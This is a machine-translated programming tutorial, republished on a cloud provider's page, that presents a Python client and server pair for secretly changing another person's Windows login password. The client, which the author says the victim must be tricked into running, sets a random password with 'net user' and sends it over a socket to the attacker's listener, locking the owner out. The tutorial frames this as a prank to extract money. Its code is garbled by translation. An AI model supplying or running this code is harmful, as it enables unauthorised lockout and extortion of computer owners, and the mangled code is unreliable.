Use Python to change the small partner's Windows power-on password, do not give 10 block to boot

Source: Internet
Author: User


Today, we teach you to use Python scripts to control the power-on passwords of your small partners ' windows computers. Yes, it's just a random () randomly generated password, only you know it!

The code is divided into two parts, part of the client side with the server side of two. You just have to find a way to get your partner to run your client-side script. But before that you have to run the server side on your computer oh so, the client will randomly generate a password on your partner's computer and then send it to the server through the socket.


Put the code below and add a note.

Client-side code:

# client.py://File name

Import socket//import module

Import Getpass

Import subprocess

Import Random

Client = Socket.socket (socket.af_inet, socket. SOCK_STREAM)//Create socket instance

Client.connect (' 10.0.0.1 ', 44444)//Connect server-side IP address/port according to your own situation

user = Getpass.getuser ()//Get computer username

PSD = '//give a PSD variable (password) to null

For j in range (1, 9)://Generate 1-9 random number

m = str (random.randrange (0, 10))

PSD = PSD + M

Subprocess. Popen ([' Net ', ' user ', user, PSD])//local execution (similar to cmd command)

Client.send (Psd.encode (' utf-8 '))//Send password to server side

Back_msg = CLIENT.RECV (1024)

Client.close ()//close socket

Print PSD//Avoid errors forget passwords are first printed locally

Server-side code:

# server.py//File name

Import socket//Importing socket

Server = Socket.socket (socket.af_inet, socket. SOCK_STREAM)//Create socket

Server.bind (' 10.0.0.1 ', 44444)//bind ip/Port

Server.listen (5)//Monitor

Print (' Starting ... ')

conn, addr = Server.accept ()//connection

Print (conn)

Print (' Client addr ', addr)

Print (' Ready to recv the passwd ... ')

Client_msg = CONN.RECV (1024)

Print (' Client passwd changed:%s '% client_msg)

Conn.send (Client_msg.upper ())

Conn.close ()

Server.close ()

OK code after writing we began to run the program (recommended to run under the virtual machine, in case of a mistake do not really forget the password!) Remember to remember) ~

First, run the server on my Linux to wait for the password sent from the client side.


Run the server.py script

Then Windows runs the client side, which displays the generated password

(If you run it on the cmd command line or you double-click it will disappear)


Run under CMD

Now log off or restart the input original password will find the password error, how the password has been sent to our server side.


server receives password

If you want to change the password now, do not shut down to open the cmd input "net user your user name you want to change the password" and then enter the OK.


Well, this article is written here. Everyone is interested in what content Welcome to my message, I will try to take care of everyone's taste ~

If you think the article is good, you can leave a comment in the comments area Oh ~

In addition, everyone has questions can be in the comment area to ask questions, any questions I will answer for everyone.

In addition, small series have their own learning Exchange group (mainly Python) if you want to learn, you can add: 719+139+688, whether you are small white or Daniel, small series are welcome, and small in the group will not regularly share dry goods, Including a small series of their own finishing a 2018 of the latest learning materials and 0 Basic introductory tutorial, welcome beginner and Advanced Small partners

Use Python to change the small partner's Windows power-on password, do not give 10 block to boot

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.